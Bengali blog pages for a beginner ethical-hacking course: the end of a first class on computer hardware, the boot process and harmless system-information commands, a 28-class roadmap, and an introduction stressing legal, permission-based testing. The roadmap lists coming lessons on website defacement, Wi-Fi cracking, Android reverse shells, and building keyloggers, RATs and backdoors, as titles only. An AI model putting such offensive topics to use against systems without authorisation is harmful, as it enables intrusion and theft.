  • CU (Control Unit): ডেটা প্রবাহ নিয়ন্ত্রণ করে  
  • Registers: অস্থায়ী মেমোরি হিসেবে কাজ করে  


3. Output Devices (যা ব্যবহার করে আউটপুট দেখা হয়)  

   ➤ Monitor, Printer, Speaker ইত্যাদি।  


______________________________________________


🧩 Lesson 2: কম্পিউটারের প্রধান হার্ডওয়্যার কম্পোনেন্ট

🖥️ 1. Motherboard:

➡️ এটি কম্পিউটারের প্রধান সার্কিট বোর্ড যেখানে CPU, RAM, এবং অন্যান্য হার্ডওয়্যার যুক্ত থাকে।  


⚙️ 2. CPU (Processor):

➡️ এটি কম্পিউটারের ব্রেইন হিসেবে কাজ করে। সাধারণত Intel এবং AMD এর CPU বেশি ব্যবহৃত হয়।  


🔋3. Power Supply Unit (PSU): 

➡️ এটি কম্পিউটারে বিদ্যুৎ সরবরাহ করে।  


💾 4. RAM (Random Access Memory):

➡️ এটি একটি অস্থায়ী মেমোরি যেখানে প্রসেস চলাকালীন ডেটা সংরক্ষিত থাকে।  


🗂️ 5. Storage Devices:

➡️ এখানে আপনার ফাইল ও ডেটা সংরক্ষিত হয়।  

উদাহরণ: HDD (Hard Disk Drive), SSD (Solid State Drive)।  


🎯 6. Network Interface Card (NIC):

➡️ এটি কম্পিউটারকে ইন্টারনেটের সাথে সংযুক্ত করতে সহায়তা করে।  


______________________________________________


🧩 Lesson 3: BIOS এবং Boot Process কী?

✅ BIOS (Basic Input Output System):

➡️ এটি কম্পিউটারের ফার্মওয়্যার যা হার্ডওয়্যার ইনিশিয়ালাইজ করে এবং অপারেটিং সিস্টেম লোড করার জন্য দায়ী।  


✅ Boot Process:

➡️ কম্পিউটার চালু হওয়ার সময় যে ধাপে ধাপে সিস্টেম লোড হয় তাকে Boot Process বলে।  


☞ Boot Process Steps:

1️⃣ Power On → 2️⃣ BIOS Initialization → 3️⃣ POST (Power-On Self-Test) → 4️⃣ Boot Loader Execution → 5️⃣ Operating System Load


______________________________________________


🧩 Lesson 4: Operating System (OS) পরিচিতি

☞ হ্যাকিং শেখার জন্য নিম্নলিখিত তিনটি OS সম্পর্কে ধারণা থাকা জরুরি:  


1️⃣ Windows OS: সাধারণ ব্যবহারকারীদের জন্য সহজ এবং বহুল ব্যবহৃত।  

2️⃣ Linux OS (বিশেষত Kali Linux): Ethical Hackers ও Penetration Testers-এর জন্য অপরিহার্য।  

3️⃣ MacOS: Mac ডিভাইসের জন্য ব্যবহৃত OS।  


______________________________________________


🧩 Lesson 5: Command Line Interface (CLI) পরিচিতি

☞ CLI হলো এমন একটি টুল যেখানে আপনি কমান্ড টাইপ করে কম্পিউটারের সঙ্গে যোগাযোগ করেন।  


✅ Windows এ CLI: Command Prompt (cmd)  

✅ Linux এ CLI: Terminal  


 কিছু সাধারণ কমান্ড:

🔹 `ipconfig` → আপনার IP Address দেখতে  

🔹 `ping` → নির্দিষ্ট ওয়েবসাইট বা IP Address-এ প্যাকেট পাঠিয়ে কানেকশন পরীক্ষা করতে  

🔹 `dir` → ডিরেক্টরির ফাইলগুলো দেখতে  

🔹 `cd` → ফোল্ডার পরিবর্তন করতে  


______________________________________________


🔥 🎯 ক্লাস টাস্ক (Practicals)

✅ আপনার কম্পিউটারের RAM, CPU, এবং Motherboard Model বের করতে নিচের কমান্ড চালান:  


☞ Windows Command:

```cmd

wmic cpu get name

wmic memorychip get capacity

wmic baseboard get product,manufacturer

```


 Linux Command:

```bash

lscpu

free -h

sudo dmidecode -t baseboard

```


______________________________________________


📌 Homework (অ্যাসাইনমেন্ট)

✅ আপনার নিজের কম্পিউটারের হার্ডওয়্যার সম্পর্কিত তথ্য সংগ্রহ করুন।  

✅ `ipconfig` (Windows) বা `ifconfig` (Linux) কমান্ড চালিয়ে আপনার IP Address, Gateway ও Subnet Mask খুঁজে বের করুন।  

✅ আপনার PC-এর BIOS Version খুঁজে বের করুন (Windows-এ `msinfo32` কমান্ড ব্যবহার করুন)।


______________________________________________________________________


🎯 পরবর্তী ক্লাস: Network Concepts

 (নেটওয়ার্কিং-এর মৌলিক ধারণা)

যদি আপনার কোনো প্রশ্ন থাকে, নির্দ্বিধায় জিজ্ঞাসা করুন। Happy Learning!



[Ethical hacking road map]

[What is ethical hacking?]

রবিবার, ১৬ মার্চ, ২০২৫

Ethical Hacking road map basic to advance. সম্পূর্ণ বাংলায় গাইডলাইন।

Ethical hacking road map basic to advance. Learn ethical hacking for free. সম্পূর্ণ গাইডলাইন ইতিকাল হ্যাকিং এবং ক্লাস

🎯 Ethical Hacking শেখার সম্পূর্ণ রোডম্যাপ basic to advance

(এই রোডম্যাপ অনুযায়ী আমি আপনাদেরকে প্রতিটি ক্লাস প্রদান করবো। আপনারা যদি এই রোড ম্যাপটি ফলো করে, আমাদের প্রতিটি ক্লাস মনোযোগ সহকারে এবং শেখার আগ্রহ নিয়ে করতে থাকেন তাহলে আমি বিশ্বাসের সঙ্গে বলতে পারি আপনি অবশ্যই একজন দক্ষ "Ethical Hacker" হয়ে উঠবেন এবং সঙ্গে একটি "সার্টিফিকেট " ও হাতে পাবেন খুব তাড়াতাড়ি। তবে হ্যাঁ মনোযোগ দিয়ে শিখতে হবে এবং প্র্যাকটিস করতে হবে। প্র্যাকটিস করা অত্যন্ত জরুরী।)

______________________________________________


📌 Phase 1: Basic IT Knowledge (প্রাথমিক আইটি জ্ঞান)

ক্লাস 1: কম্পিউটারের মৌলিক ধারণা এবং হার্ডওয়্যার পরিচিতি  

ক্লাস 2: কম্পিউটার নেটওয়ার্কিং (OSI Model, IP Address, DNS, etc.)  

ক্লাস 3: Windows ও Linux OS-এর মৌলিক ব্যবহার  

ক্লাস 4: Kali Linux ইন্সটলেশন এবং প্রাথমিক কমান্ড শেখা  

ক্লাস 5: Command Line Interface (CLI) ব্যবহার শেখা  

ক্লাস 6: Python ও Bash Scripting-এর ভূমিকা এবং প্রাথমিক কমান্ড।


______________________________________________


📌 Phase 2: Web Technologies & Scripting (ওয়েব টেকনোলজি ও স্ক্রিপ্টিং)

ক্লাস 7: HTML, CSS ও JavaScript-এর মৌলিক ধারণা  

ক্লাস 8: SQL Database পরিচিতি ও SQL Injection এর প্রাথমিক ধারণা  

ক্লাস 9: Python Programming – হাতেকলমে অনুশীলন  

ক্লাস 10: Bash Scripting – অটোমেশন টুল তৈরির প্রাথমিক জ্ঞান।


______________________________________________


📌 Phase 3: Cyber Security Concepts (সাইবার সিকিউরিটির ধারণা)

ক্লাস 11: Encryption & Cryptography – মৌলিক ধারণা  

ক্লাস 12: Phishing Attack কীভাবে কাজ করে  

ক্লাস 13: Malware & Ransomware – কিভাবে আক্রমণ হয় এবং কিভাবে প্রতিরোধ করা হয়  

ক্লাস 14: Social Engineering Techniques – বাস্তব উদাহরণসহ বিশ্লেষণ।


______________________________________________


📌 Phase 4: Penetration Testing (পেনিট্রেশন টেস্টিং)

ক্লাস 15: Kali Linux Mastery – Nmap, Netcat, Hydra, etc.  

ক্লাস 16: Metasploit Framework – মৌলিক ব্যবহার  

ক্লাস 17: Burp Suite দিয়ে Web Application Testing  

ক্লাস 18: Vulnerability Assessment & Exploitation  


______________________________________________


📌 Phase 5: Real-World Attacks (বাস্তবিক আক্রমণ ও অনুশীলন)

ক্লাস 19: Website Defacement (প্রতিষ্ঠানকে সচেতন করার জন্য)  

ক্লাস 20: Wi-Fi Hacking – (WPA2, WPS Attacks)  

ক্লাস 21: Android Hacking – (Reverse Shell ব্যবহার করে হ্যাকিং)  

ক্লাস 22: Keylogger, RAT এবং Backdoor তৈরির প্রাথমিক ধারণা।


______________________________________________


📌 Phase 6: Capture The Flag (CTF) & Bug Bounty

ক্লাস 23: TryHackMe & Hack The Box প্ল্যাটফর্ম পরিচিতি

ক্লাস 24: Bug Bounty Platforms (HackerOne, Bugcrowd)

ক্লাস 25: Vulnerability Disclosure & Report Writing


______________________________________________


📌 Phase 7: Career Development & Certifications (ক্যারিয়ার গাইডলাইন ও সার্টিফিকেশন)

ক্লাস 26: Cybersecurity Career Roadmap

ক্লাস 27: CV & Portfolio তৈরির গাইডলাইন

ক্লাস 28: সার্টিফিকেশন প্রস্তুতি (CEH, OSCP, etc.)


______________________________________________


🚀 শেখার পদ্ধতি ও পরিকল্পনা


  • প্রতিটি ক্লাস বাংলা ভাষায় সহজ ব্যাখ্যা সহ হবে
  • প্রতিটি ক্লাসে থাকবে ব্যাখ্যা + হাতে-কলমে অনুশীলন
  • ক্লাস শেষে থাকবে বাস্তব উদাহরণ ও চ্যালেঞ্জ
  • শেখার ধারা হবে শূন্য থেকে প্রফেশনাল লেভেল পর্যন্ত।


__________________________________________________________________________


আপনাদের কারো যদি কোন বিষয় বুঝতে অসুবিধা হয় বা কোন বিষয়ের উপর যদি কোন doubt থাকে তাহলে নির্দ্বিধায় আপনি আমাদেরকে জানাতে পারেন।

 (আপনার প্রশ্ন বা মতামত জানাতে নিচের কমেন্ট বক্সে লিখুন।)


আপনাদের মূল্যবান অংশগ্রহণ আমাদের জন্য অত্যন্ত গুরুত্বপূর্ণ।

ধন্যবাদ সবাইকে! সুস্থ থাকুন, নিরাপদ থাকুন।



[ইথিকাল হ্যাকিং কী?]

[ইথিক্যাল হ্যাকিং ক্লাস ১]

শুক্রবার, ১৪ মার্চ, ২০২৫

Ethical Hacking Bangla – বাংলায় ইথিকাল হ্যাকিং শেখার সম্পূর্ণ গাইড

Ethical Hacking Bangali - Cybersecurity Guide for Beginners

ইথিকাল হ্যাকিং কী? (Ethical Hacking) — সহজ ভাষায় ব্যাখ্যা


তোমার কি কখনও মনে হয়েছে, কেউ তোমার ফেসবুক বা ইমেইল অ্যাকাউন্ট হ্যাক করতে পারে? কিংবা তোমার ফোনের তথ্য চুরি হয়ে যেতে পারে? এসব ঝুঁকি থেকে বাঁচার জন্যই আছে ইথিকাল হ্যাকিং। এখন প্রশ্ন হলো — ইথিকাল হ্যাকিং আসলে কী?

______________________________________________


ইথিকাল হ্যাকিং কী?

ইথিকাল হ্যাকিং হলো এমন একটি বৈধ পদ্ধতি, যেখানে বিশেষ প্রশিক্ষণপ্রাপ্ত ব্যক্তিরা (Ethical Hackers) বিভিন্ন সিস্টেম বা নেটওয়ার্কের দুর্বলতা পরীক্ষা করে সেগুলো নিরাপদ করার ব্যবস্থা নেন।  


❗ সাধারণ হ্যাকাররা ক্ষতি করার জন্য সিস্টেম হ্যাক করে, কিন্তু ইথিকাল হ্যাকাররা সেই একই কাজ করেন নিরাপত্তা নিশ্চিত করতে — অনুমতি নিয়ে, আইনের মধ্যে থেকে।  

______________________________________________


ইথিকাল হ্যাকার কে বা কাকে বলা হয়?

ইথিকাল হ্যাকার এমন একজন ব্যক্তি যিনি:  


✅ কোনো প্রতিষ্ঠানের অনুমতি নিয়ে তাদের সিস্টেম পরীক্ষা করেন।  

✅ সিস্টেমের দুর্বলতা খুঁজে বের করে সমস্যাগুলো সমাধান করতে সহায়তা করেন।  

✅ বেআইনি হ্যাকারদের আক্রমণ থেকে সুরক্ষার জন্য কাজ করেন।  


➡️ এদেরকে "White Hat Hacker" বলা হয়।  

______________________________________________


ইথিকাল হ্যাকিং কেন গুরুত্বপূর্ণ?

ইন্টারনেটে আমরা অনেক ব্যক্তিগত তথ্য শেয়ার করি — যেমনঃ ব্যাংক অ্যাকাউন্ট, পাসওয়ার্ড, ব্যক্তিগত ছবি বা ভিডিও।  


বেআইনি হ্যাকাররা (Black Hat Hackers) সুযোগ পেলেই এসব তথ্য চুরি করতে চায়। ইথিকাল হ্যাকাররা আগে থেকেই সেই দুর্বলতাগুলো খুঁজে বের করে নিরাপত্তা নিশ্চিত করেন।  

______________________________________________


ইথিকাল হ্যাকাররা কী কী কাজ করেন?

একজন ইথিকাল হ্যাকার সাধারণত নিচের কাজগুলো করেন:  


✅ সিস্টেমে কোথা থেকে অননুমোদিত প্রবেশ করা সম্ভব তা খুঁজে বের করা।  

✅ নেটওয়ার্ক স্ক্যান করে দুর্বলতা শনাক্ত করা।  

✅ ওয়েবসাইট ও অ্যাপ্লিকেশনের নিরাপত্তা পরীক্ষা করা।  

✅ রিপোর্ট তৈরি করে কীভাবে সমস্যাগুলো সমাধান করা যায় তা জানানো।  

______________________________________________


ইথিকাল হ্যাকিং কি বৈধ?

✔️ হ্যাঁ, ইথিকাল হ্যাকিং সম্পূর্ণ বৈধ, কিন্তু শর্ত হলো — এটি করতে হলে অবশ্যই প্রতিষ্ঠানের অনুমতি নিতে হবে।  


❌ অনুমতি ছাড়া কোনো সিস্টেমে প্রবেশ করা বেআইনি এবং এর জন্য কঠোর শাস্তি হতে পারে।  

______________________________________________


ইথিকাল হ্যাকার হওয়ার জন্য কী কী শেখা দরকার?

ইথিকাল হ্যাকার হতে চাইলে নিচের বিষয়গুলো শেখা খুব গুরুত্বপূর্ণ:  


নেটওয়ার্কিং (Networking): ইন্টারনেট কীভাবে কাজ করে তা বোঝা।  

অপারেটিং সিস্টেম (OS): বিশেষ করে Linux এবং Windows শেখা।  

প্রোগ্রামিং ভাষা (Programming): Python, C, বা Java শেখা উপকারী।

সিকিউরিটি টুলস (Security Tools): যেমন Nmap, Metasploit, Burp Suite ইত্যাদি।  

প্রব্লেম সলভিং দক্ষতা: দ্রুত সমস্যার সমাধান করতে পারার দক্ষতা।

______________________________________________


যারা প্রোগ্রামিং ভাষা নিয়ে ভয়ের মধ্যে থাকে তাদেরকে বলছি, প্রোগ্রামিং ভাষা ও প্রব্লেম সলভিং নিয়ে ভয়ের কিছু নেই!


প্রোগ্রামিং ভাষা: ইথিকাল হ্যাকিংয়ের জন্য সম্পূর্ণ প্রোগ্রামিং শেখার দরকার নেই। শুধু কিছু মৌলিক বিষয় শিখলেই চলবে, যা সহজেই আয়ত্ত করা সম্ভব।  


প্রব্লেম সলভিং দক্ষতা: এটি কঠিন মনে হলেও, সঠিকভাবে ক্লু (সংকেত) গুলো অনুসরণ করলে খুব সহজেই শিখতে পারবে। ধাপে ধাপে অনুশীলন করলে এটি তোমার কাছে কিছুই মনে হবে না।

______________________________________________


ইথিকাল হ্যাকিং শেখার উপকারিতা কী?

✅ ভালো ক্যারিয়ার গড়ার সুযোগ (সাইবার সিকিউরিটি পেশায় বড় চাহিদা রয়েছে)।  

✅ নিজের ব্যক্তিগত তথ্য ও অনলাইন অ্যাকাউন্ট সুরক্ষিত রাখতে পারবে।  

✅ বেআইনি হ্যাকারদের আক্রমণ প্রতিহত করতে পারবে।  

✅ বড় বড় প্রতিষ্ঠানে চাকরির সুযোগ পেতে পারো।  


______________________________________________


উপসংহার

ইথিকাল হ্যাকিং শেখা শুধু প্রযুক্তি প্রেমীদের জন্য নয়, বরং সাধারণ ব্যবহারকারীদের জন্যও উপকারী। নিজের তথ্য সুরক্ষিত রাখতে এবং সাইবার অপরাধ থেকে নিজেকে রক্ষা করতে ইথিকাল হ্যাকিং সম্পর্কে ধারণা থাকা প্রয়োজন।  


তোমার যদি ইথিকাল হ্যাকিং শেখার আগ্রহ থাকে, তবে প্রথমেই ছোট ছোট বিষয়গুলো শিখে ধাপে ধাপে এগিয়ে যাওয়া উচিত।  


➡️ তোমার যদি এ বিষয়ে কোনো প্রশ্ন থাকে, তাহলে নিচে কমেন্টে জানাতে পারো!


____________________________________________________________________


🖥️ যদি পোস্টটি তোমার ভালো লাগে, তাহলে আমাদের পেজটি সাবস্ক্রাইব করো এবং নতুন আপডেট পেতে সাথে থাক!

 

[Ethical hacking road map]

[ইথিক্যাল হ্যাকিং ক্লাস ১]

XSS (ক্রস-সাইট স্ক্রিপ্টিং) শিখুন: ওয়েব সিকিউরিটি গাইড | ইথিকাল হ্যাকিং ডে-৭

  XSS (ক্রস-সাইট স্ক্রিপ্টিং) শিখুন: ওয়েব সিকিউরিটি গাইড | ইথিকাল হ্যাকিং ডে-৭ ইথিকাল হ্যাকিং ডে-৭:...